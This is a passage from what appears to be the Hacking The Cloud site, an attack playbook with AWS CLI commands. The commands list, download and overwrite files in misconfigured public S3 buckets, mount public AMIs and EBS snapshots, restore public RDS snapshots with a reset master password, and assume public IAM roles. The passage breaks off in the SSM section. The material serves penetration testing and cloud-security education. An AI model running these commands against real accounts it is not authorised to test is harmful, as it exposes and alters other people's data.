</li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#1-can-be-found-from-black-box-perspective class=md-nav__link> <span class=md-ellipsis> 1. Can be found from black-box perspective </span> </a> <nav class=md-nav aria-label="1. Can be found from black-box perspective"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#s3-buckets class=md-nav__link> <span class=md-ellipsis> S3 Buckets </span> </a> <nav class=md-nav aria-label="S3 Buckets"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#public-list-read-and-write class=md-nav__link> <span class=md-ellipsis> Public List, Read and Write </span> </a> </li> <li class=md-nav__item> <a href=#authenticated-list-and-write class=md-nav__link> <span class=md-ellipsis> Authenticated List and Write </span> </a> </li> <li class=md-nav__item> <a href=#s3-static-website-list-unauthenticated class=md-nav__link> <span class=md-ellipsis> S3 Static Website List Unauthenticated </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#amis class=md-nav__link> <span class=md-ellipsis> AMIs </span> </a> </li> <li class=md-nav__item> <a href=#ebs-snapshots class=md-nav__link> <span class=md-ellipsis> EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#rds-snapshots class=md-nav__link> <span class=md-ellipsis> RDS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#iam-roles class=md-nav__link> <span class=md-ellipsis> IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=#ssm-documents class=md-nav__link> <span class=md-ellipsis> SSM Documents </span> </a> </li> <li class=md-nav__item> <a href=#cloudfront class=md-nav__link> <span class=md-ellipsis> CloudFront </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#2-cant-be-found-from-a-black-box-perspective class=md-nav__link> <span class=md-ellipsis> 2. Can't be found from a black-box perspective </span> </a> <nav class=md-nav aria-label="2. Can't be found from a black-box perspective"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#sns-topics class=md-nav__link> <span class=md-ellipsis> SNS Topics </span> </a> </li> <li class=md-nav__item> <a href=#sqs-queues class=md-nav__link> <span class=md-ellipsis> SQS Queues </span> </a> </li> <li class=md-nav__item> <a href=#private-api-gateways class=md-nav__link> <span class=md-ellipsis> Private API Gateways </span> </a> </li> <li class=md-nav__item> <a href=#lambda-functions class=md-nav__link> <span class=md-ellipsis> Lambda Functions </span> </a> </li> <li class=md-nav__item> <a href=#ecr-repositories class=md-nav__link> <span class=md-ellipsis> ECR Repositories </span> </a> <nav class=md-nav aria-label="ECR Repositories"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#private-repository-access class=md-nav__link> <span class=md-ellipsis> Private Repository Access </span> </a> </li> <li class=md-nav__item> <a href=#public-repository-access class=md-nav__link> <span class=md-ellipsis> Public Repository Access </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#call-for-contributions class=md-nav__link> <span class=md-ellipsis> Call for contributions </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Eduard Agavriloae</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/saw-your-packet/CloudShovel>CloudShovel</a>: A tool for scanning public or private AMIs for sensitive files and secrets</p> <p><a href=https://github.com/awslabs/coldsnap>coldsnap</a>: A command line interface for Amazon EBS snapshots</p> </li> </ul> </div> <h1 id=exploiting-public-aws-resources-cli-attack-playbook>Exploiting Public AWS Resources - CLI Attack Playbook<a class=headerlink href=#exploiting-public-aws-resources-cli-attack-playbook title="Permanent link">&para;</a></h1> <p>The playbook shows how to exploit AWS resources that can be misconfigured to be publicly accessible. Think of it as a glossary of quick exploitation techniques that can be performed programmatically. </p> <p>All attacks are meant to be executed from an external environment where the attacker is ideally an administrator. </p> <p>The document is split in two categories: 1. Services and resources that can be found from a black-box perspective with little to reasonable effort 2. Services and resources that require information that can't be obtained through enumeration or brute-force</p> <h2 id=1-can-be-found-from-black-box-perspective>1. Can be found from black-box perspective<a class=headerlink href=#1-can-be-found-from-black-box-perspective title="Permanent link">&para;</a></h2> <p>These services might be found from <a href=https://awseye.com/ >Awseye</a>, Google Dorking, enumeration, searchable via AWS account ID and other sane methods.</p> <h3 id=s3-buckets>S3 Buckets<a class=headerlink href=#s3-buckets title="Permanent link">&para;</a></h3> <h4 id=public-list-read-and-write>Public List, Read and Write<a class=headerlink href=#public-list-read-and-write title="Permanent link">&para;</a></h4> <p>Misconfiguration:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+<span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
+<span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>        </span><span class=p>{</span>
+<span class=w>            </span><span class=nt>&quot;Sid&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;PublicReadWrite&quot;</span><span class=p>,</span>
+<span class=w>            </span><span class=nt>&quot;Effect&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;Allow&quot;</span><span class=p>,</span>
+<span class=w>            </span><span class=nt>&quot;Principal&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;*&quot;</span><span class=p>,</span>
+<span class=w>            </span><span class=nt>&quot;Action&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>                </span><span class=s2>&quot;s3:ListBucket&quot;</span><span class=p>,</span>
+<span class=w>                </span><span class=s2>&quot;s3:GetObject&quot;</span><span class=p>,</span>
+<span class=w>                </span><span class=s2>&quot;s3:PutObject&quot;</span>
+<span class=w>            </span><span class=p>],</span>
+<span class=w>            </span><span class=nt>&quot;Resource&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>                </span><span class=s2>&quot;arn:aws:s3:::example-bucket&quot;</span><span class=p>,</span>
+<span class=w>                </span><span class=s2>&quot;arn:aws:s3:::example-bucket/*&quot;</span>
+<span class=w>            </span><span class=p>]</span>
+<span class=w>        </span><span class=p>}</span>
+<span class=w>    </span><span class=p>]</span>
+<span class=p>}</span>
+</code></pre></div> <div class=highlight><pre><span></span><code><span class=nv>bucket_name</span><span class=o>=</span><span class=s2>&quot;example-bucket&quot;</span>
+<span class=nv>region</span><span class=o>=</span><span class=s2>&quot;region&quot;</span>
+
+<span class=c1># List bucket contents via HTTP</span>
+curl<span class=w> </span>https://<span class=nv>$bucket_name</span>.s3.<span class=nv>$region</span>.amazonaws.com/
+
+<span class=c1># List bucket contents via CLI unauthenticated</span>
+<span class=c1># --no-sign-request will perform the API call unauthenticated</span>
+aws<span class=w> </span>--no-sign-request<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>s3://<span class=nv>$bucket_name</span>
+
+<span class=c1># List all objects including in subfolders unauthenticated</span>
+aws<span class=w> </span>--no-sign-request<span class=w> </span>s3api<span class=w> </span>list-objects-v2<span class=w> </span>--bucket<span class=w> </span><span class=nv>$bucket_name</span>
+
+<span class=nv>file_name</span><span class=o>=</span><span class=s2>&quot;target-file&quot;</span>
+
+<span class=c1># Download file from bucket unauthenticated</span>
+aws<span class=w> </span>--no-sign-request<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span>s3://<span class=nv>$bucket</span>/<span class=nv>$file_name</span><span class=w> </span>.
+
+<span class=c1># Upload file unauthenticated</span>
+<span class=c1># Files with same name are overwritten</span>
+<span class=nb>echo</span><span class=w> </span><span class=s2>&quot;hackingthe.cloud&quot;</span><span class=w> </span>&gt;<span class=w> </span><span class=nv>$file_name</span>.new
+aws<span class=w> </span>--no-sign-request<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span><span class=nv>$file_name</span>.new<span class=w> </span>s3://<span class=nv>$bucket</span>/
+</code></pre></div> <h4 id=authenticated-list-and-write>Authenticated List and Write<a class=headerlink href=#authenticated-list-and-write title="Permanent link">&para;</a></h4> <p>Misconfiguration: - ACL misconfigured at object level so that only authenticated identities can access the file</p> <div class=highlight><pre><span></span><code><span class=nv>bucket_name</span><span class=o>=</span><span class=s2>&quot;example-bucket&quot;</span>
+<span class=nv>region</span><span class=o>=</span><span class=s2>&quot;region&quot;</span>
+
+<span class=c1># This will not work anymore</span>
+curl<span class=w> </span>https://<span class=nv>$bucket_name</span>.s3.<span class=nv>$region</span>.amazonaws.com/
+
+<span class=c1># List bucket contents via authenticated CLI</span>
+aws<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>s3://<span class=nv>$bucket_name</span>
+</code></pre></div> <h4 id=s3-static-website-list-unauthenticated>S3 Static Website List Unauthenticated<a class=headerlink href=#s3-static-website-list-unauthenticated title="Permanent link">&para;</a></h4> <p>Misconfiguration: - Static website allowing bucket to be listed</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+<span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
+<span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>        </span><span class=p>{</span>
+<span class=w>            </span><span class=nt>&quot;Sid&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;PublicReadGetIndex&quot;</span><span class=p>,</span>
+<span class=w>            </span><span class=nt>&quot;Effect&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;Allow&quot;</span><span class=p>,</span>
+<span class=w>            </span><span class=nt>&quot;Principal&quot;</span><span class=p>:</span><span class=w> </span><span class=p>{</span>
+<span class=w>                </span><span class=nt>&quot;AWS&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;*&quot;</span>
+<span class=w>            </span><span class=p>},</span>
+<span class=w>            </span><span class=nt>&quot;Action&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>                </span><span class=s2>&quot;s3:ListBucket&quot;</span><span class=p>,</span>
+<span class=w>                </span><span class=s2>&quot;s3:GetObject&quot;</span>
+<span class=w>            </span><span class=p>],</span>
+<span class=w>            </span><span class=nt>&quot;Resource&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
+<span class=w>                </span><span class=s2>&quot;arn:aws:s3:::example-bucket&quot;</span><span class=p>,</span>
+<span class=w>                </span><span class=s2>&quot;arn:aws:s3:::example-bucket/*&quot;</span>
+<span class=w>            </span><span class=p>]</span>
+<span class=w>        </span><span class=p>}</span>
+<span class=w>    </span><span class=p>]</span>
+<span class=p>}</span>
+</code></pre></div> <div class=highlight><pre><span></span><code><span class=nv>bucket_name</span><span class=o>=</span><span class=s2>&quot;example-bucket&quot;</span>
+<span class=nv>region</span><span class=o>=</span><span class=s2>&quot;region&quot;</span>
+
+<span class=c1># This will return the index.html</span>
+curl<span class=w> </span>https://<span class=nv>$bucket_name</span>.s3-website.<span class=nv>$region</span>.amazonaws.com
+
+<span class=c1># Removing the &#39;-website&#39; from the URL will list the files</span>
+<span class=c1># This works because the bucket is misconfigured</span>
+curl<span class=w> </span>https://<span class=nv>$bucket_name</span>.s3.<span class=nv>$region</span>.amazonaws.com
+
+<span class=c1># List bucket contents via CLI authenticated or unauthenticated</span>
+aws<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>s3://<span class=nv>$bucket_name</span>
+</code></pre></div> <h3 id=amis>AMIs<a class=headerlink href=#amis title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=c1># Find the target AMI</span>
+<span class=c1># Mention &#39;--include-deprecated&#39; to make sure you get all results</span>
+<span class=c1># You&#39;ll have to search across every region since AMI is region dependent</span>
+
+<span class=c1># Search by owner account</span>
+aws<span class=w> </span>--region<span class=w> </span><span class=nv>$region</span><span class=w> </span>ec2<span class=w> </span>describe-images<span class=w> </span>--owner<span class=w> </span><span class=m>123456789012</span><span class=w> </span>--include-deprecated
+
+<span class=c1># Search by description or title</span>
+aws<span class=w> </span>ec2<span class=w> </span>describe-images<span class=w> </span>--filter<span class=w> </span><span class=nv>Name</span><span class=o>=</span><span class=s2>&quot;description&quot;</span>,Values<span class=o>=</span><span class=s2>&quot;*hackingthe.cloud*&quot;</span><span class=w> </span>--include-deprecated
+aws<span class=w> </span>ec2<span class=w> </span>describe-images<span class=w> </span>--filter<span class=w> </span><span class=nv>Name</span><span class=o>=</span><span class=s2>&quot;name&quot;</span>,Values<span class=o>=</span><span class=s2>&quot;*hackingthe.cloud*&quot;</span><span class=w> </span>--include-deprecated
+
+<span class=c1># Automatically scan the AMI with cloudshovel</span>
+<span class=c1># --bucket will specify where to save the files</span>
+<span class=c1># This will not work if multiple cloudshovel is executed</span>
+<span class=c1># multiple times in the same environment</span>
+cloudshovel<span class=w> </span>--region<span class=w> </span><span class=nv>$region</span><span class=w> </span>--bucket<span class=w> </span>example-bucket<span class=w> </span>ami-example1234567890
+
+<span class=c1># Manual approach</span>
+<span class=c1># Start an EC2 instance based on the target AMI and save</span>
+<span class=c1># the instance ID returned</span>
+<span class=c1># Create a security group that allows all inbound traffic if</span>
+<span class=c1># you don&#39;t already have one and use it here</span>
+<span class=c1># If the command fails then you might have to use another instance-type like c5.large</span>
+<span class=c1># You can specify &#39;--no-associate-public-ip-address&#39; if you don&#39;t want the instance</span>
+<span class=c1># to have a public IP, but you&#39;ll need a VPC Endpoint to connect to it via</span>
+<span class=c1># ec2-isntance-connect</span>
+aws<span class=w> </span>ec2<span class=w> </span>run-instances<span class=w> </span>--security-group-ids<span class=w> </span>sg-example1234567890<span class=w> </span>--instance-type<span class=w> </span>t2.micro<span class=w> </span>--image-id<span class=w> </span>ami-example1234567890<span class=w> </span>
+
+<span class=c1># Try to connect to it using EC2 Instance Connect. The instance</span>
+aws<span class=w> </span>ec2-instance-connect<span class=w> </span>ssh<span class=w> </span>--os-user<span class=w> </span>root<span class=w> </span>--instance-id<span class=w> </span>i-example1234567890
+<span class=c1># Search for files and secrets once connected</span>
+<span class=c1># If the command fails then most likely you&#39;ll have to </span>
+<span class=c1># use the different method to access the AMI</span>
+<span class=c1># 1. You can use cloudshovel</span>
+<span class=c1># 2. Make an EBS Snapshot of the volume(s) and download them with coldsnap</span>
+
+<span class=c1># When you&#39;re done you can terminate the instance</span>
+aws<span class=w> </span>ec2<span class=w> </span>terminate-instances<span class=w> </span>--instance-ids<span class=w> </span><span class=nv>$instance_id</span>
+</code></pre></div> <h3 id=ebs-snapshots>EBS Snapshots<a class=headerlink href=#ebs-snapshots title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=nv>region</span><span class=o>=</span>region
+
+<span class=c1># Search by AWS account ID</span>
+aws<span class=w> </span>ec2<span class=w> </span>describe-snapshots<span class=w> </span>--owner-ids<span class=w> </span><span class=m>123456789012</span>
+
+<span class=c1># Search by description</span>
+aws<span class=w> </span>ec2<span class=w> </span>describe-snapshots<span class=w> </span>--filter<span class=w> </span><span class=s2>&quot;Name=description,Values=*hackingthe.cloud*&quot;</span>
+
+<span class=c1># Create volume from snapshot</span>
+<span class=c1># The availability zone must be the same as the instance we </span>
+<span class=c1># will create shortly in order to attach the new volume there</span>
+aws<span class=w> </span>ec2<span class=w> </span>create-volume<span class=w> </span>--availability-zone<span class=w> </span><span class=nv>$region</span><span class=s1>&#39;a&#39;</span><span class=w> </span>--snapshot-id<span class=w> </span>snap-example1234567890
+
+<span class=c1># Alternatively you can try to copy the Snapshot and</span>
+<span class=c1># operate with ti from there</span>
+<span class=c1># aws ec2 copy-snapshot --source-snapshot-id snap-example1234567890 --source-region $region</span>
+
+<span class=c1># Check if status is &#39;ok&#39;</span>
+<span class=c1># Volume id is from the &#39;create-volume&#39; API call</span>
+aws<span class=w> </span>ec2<span class=w> </span>describe-volume-status<span class=w> </span>--volume-id<span class=w> </span><span class=nv>$volume_id</span>
+
+<span class=c1># Start a new EC2 instance in the same Availability Zone</span>
+<span class=c1># The Image Id is for an Amazon Linux image and has</span>
+<span class=c1># nothing to do with the public AMI from the previous section</span>
+<span class=c1># Create a security group that allows all inbound traffic if</span>
+<span class=c1># you don&#39;t already have one and use it here</span>
+aws<span class=w> </span>ec2<span class=w> </span>run-instances<span class=w> </span>--security-group-ids<span class=w> </span>sg-example1234567890<span class=w> </span>--instance-type<span class=w> </span>t2.micro<span class=w> </span>--placement<span class=w> </span><span class=nv>AvailabilityZone</span><span class=o>=</span><span class=nv>$region</span><span class=s1>&#39;a&#39;</span><span class=w> </span>--image-id<span class=w> </span>ami-example1234567890
+
+<span class=c1># Attach volume to your instance and specify as device</span>
+<span class=c1># anything from /dev/sdf to /dev/sdp (you can use /dev/sdf)</span>
+<span class=c1># --instance-id is from &#39;run-instances&#39; API call</span>
+aws<span class=w> </span>ec2<span class=w> </span>attach-volume<span class=w> </span>--volume-id<span class=w> </span><span class=nv>$volume_id</span><span class=w> </span>--instance-id<span class=w> </span><span class=nv>$instance_id</span><span class=w> </span>--device<span class=w> </span>/dev/sdf
+
+<span class=c1># Connect to the instance</span>
+aws<span class=w> </span>ec2-instance-connect<span class=w> </span>ssh<span class=w> </span>--os-user<span class=w> </span>root<span class=w> </span>--instance-id<span class=w> </span><span class=nv>$instance_id</span>
+<span class=c1># Mount the volume</span>
+<span class=c1># lsblk</span>
+<span class=c1># mount /dev/sdf1 /mnt</span>
+<span class=c1># Search the volume for files and secrets </span>
+
+<span class=c1># Terminate the instance when you&#39;re done</span>
+aws<span class=w> </span>ec2<span class=w> </span>terminate-instances<span class=w> </span>--instance-ids<span class=w> </span><span class=nv>$instance_id</span>
+
+<span class=c1># Delete the volume created</span>
+aws<span class=w> </span>ec2<span class=w> </span>delete-volume<span class=w> </span>--volume-id<span class=w> </span><span class=nv>$volume_id</span>
+</code></pre></div> <h3 id=rds-snapshots>RDS Snapshots<a class=headerlink href=#rds-snapshots title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=c1># Depending on the engine of the target snapshot, you&#39;ll have to install</span>
+<span class=c1># the tool for connecting to the RDS server</span>
+<span class=c1># We&#39;ll use MySQL in this example </span>
+
+<span class=c1># Search based on AWS account id using jq</span>
+<span class=c1># because there is no native way to do this</span>
+<span class=c1># Copy the DBSnapshotIdentifier</span>
+aws<span class=w> </span>rds<span class=w> </span>describe-db-snapshots<span class=w> </span>--include-public<span class=w> </span><span class=p>|</span><span class=w> </span>jq<span class=w> </span><span class=s1>&#39;.DBSnapshots[] | select(.DBSnapshotArn | contains(&quot;123456789012:&quot;))&#39;</span>
+
+<span class=c1># Restore Snapshot</span>
+<span class=c1># Use the DBSnapshotIdentifier from above and create</span>
+<span class=c1># a security group that allows all inbound traffic if</span>
+<span class=c1># you don&#39;t already have one and use it here</span>
+<span class=c1># $db_instance_identifier should be a new custom name for</span>
+<span class=c1># the new db </span>
+aws<span class=w> </span>rds<span class=w> </span>restore-db-instance-from-db-snapshot<span class=w> </span>--db-instance-identifier<span class=w> </span><span class=nv>$db_instance_identifier</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--db-snapshot-identifier<span class=w> </span><span class=nv>$db_snapshot_identifier</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--vpc-security-group-ids<span class=w> </span>sg-example1234567890<span class=w> </span>--publicly-accessible<span class=w> </span>--no-multi-az
+
+<span class=c1># This will take around 5-15 minutes so you can run this</span>
+<span class=c1># command to know when the database was restored</span>
+<span class=c1># The DB Instance Identifier should be the same, but you</span>
+<span class=c1># can get it from the output of the previous command</span>
+aws<span class=w> </span>rds<span class=w> </span><span class=nb>wait</span><span class=w> </span>db-instance-available<span class=w> </span>--db-instance-identifier<span class=w> </span><span class=nv>$db_instance_identifier</span>
+
+<span class=c1># Change login password</span>
+<span class=c1># In the response you will also see the RDS</span>
+<span class=c1># endpoint address. Copy that for connecting</span>
+<span class=c1># to the instance. The username for login can</span>
+<span class=c1># be found in the same response under &quot;MasterUsername&quot;</span>
+aws<span class=w> </span>rds<span class=w> </span>modify-db-instance<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--db-instance-identifier<span class=w> </span><span class=nv>$db_instance_identifier</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--master-user-password<span class=w> </span>MyNewPassword123!<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--apply-immediately
+
+<span class=c1># Connect to the database</span>
+mysql<span class=w> </span>-h<span class=w> </span><span class=nv>$url_db</span><span class=w> </span>-u<span class=w> </span><span class=nv>$username</span><span class=w> </span>--skip-ssl<span class=w> </span>-p
+<span class=c1># show databases;</span>
+<span class=c1># use $database;</span>
+<span class=c1># show tables;</span>
+
+<span class=c1># Delete RDS instance</span>
+aws<span class=w> </span>rds<span class=w> </span>delete-db-instance<span class=w> </span>--db-instance-identifier<span class=w> </span><span class=nv>$db_identifier</span><span class=w> </span>--skip-final-snapshot
+</code></pre></div> <h3 id=iam-roles>IAM Roles<a class=headerlink href=#iam-roles title="Permanent link">&para;</a></h3> <p>There are roles that can be assumed using various 3rd-party technologies if the role's trust policy is misconfigured.</p> <p>Documented attacks on bad OIDC configurations: - <a href=https://medium.com/tinder/identifying-vulnerabilities-in-github-actions-aws-oidc-configurations-8067c400d5b8>GitHub</a> - <a href=https://hacktodef.com/addressed-aws-defaults-risks-oidc-terraform-and-anonymous-to-administratoraccess>Terraform Cloud</a> - <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ >GitLab</a></p> <p>While the OIDC misconfigurations can be exploited from the internet, the attacks are more complex than what this document aims to help with. Please reefer to the original or related articles around the aforementioned attacks.</p> <div class=highlight><pre><span></span><code><span class=c1># Assuming a public role</span>
+<span class=nv>role_name</span><span class=o>=</span>example-role
+<span class=c1># Try to assume role</span>
+aws<span class=w> </span>sts<span class=w> </span>assume-role<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--role-arn<span class=w> </span>arn:aws:iam::123456789012:role/<span class=nv>$role_name</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--role-session-name<span class=w> </span>any-name
+
+<span class=c1># Configure returned credentials</span>
+aws<span class=w> </span>--profile<span class=w> </span>any-name<span class=w> </span>configure<span class=w> </span><span class=nb>set</span><span class=w> </span>aws_access_key_id<span class=w> </span><span class=nv>$access_key_id</span>
+aws<span class=w> </span>--profile<span class=w> </span>any-name<span class=w> </span>configure<span class=w> </span><span class=nb>set</span><span class=w> </span>aws_secret_access_key<span class=w> </span><span class=nv>$secret_access_key</span>
+aws<span class=w> </span>--profile<span class=w> </span>any-name<span class=w> </span>configure<span class=w> </span><span class=nb>set</span><span class=w> </span>aws_session_token<span class=w> </span><span class=nv>$session_token</span>
+
+<span class=c1># Validate credentials</span>
+aws<span class=w> </span>--profile<span class=w> </span>any-name<span class=w> </span>sts<span class=w> </span>get-caller-identity
+</code></pre></div> <h3 id=ssm-documents>SSM Documents<a class=headerlink href=#ssm-documents title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=c1># Search by name prefix</span>
+aws<span class=w> </span>ssm<span class=w> </span>list-documents<span class=w> </span>--filters<span class=w> </span><span class=s2>&quot;Key=Owner,Values=Public&quot;</span><span class=w> </span><span class=s2>&quot;Key=Name,Values=hackingthe.cloud&quot;</span>
+
+<span class=c1># Search by owner with jq</span>
+<span class=c1># Takes 15-30 seconds to execute</span>
+<span class=c1># Copy the value from the &quot;Name&quot; field</span>
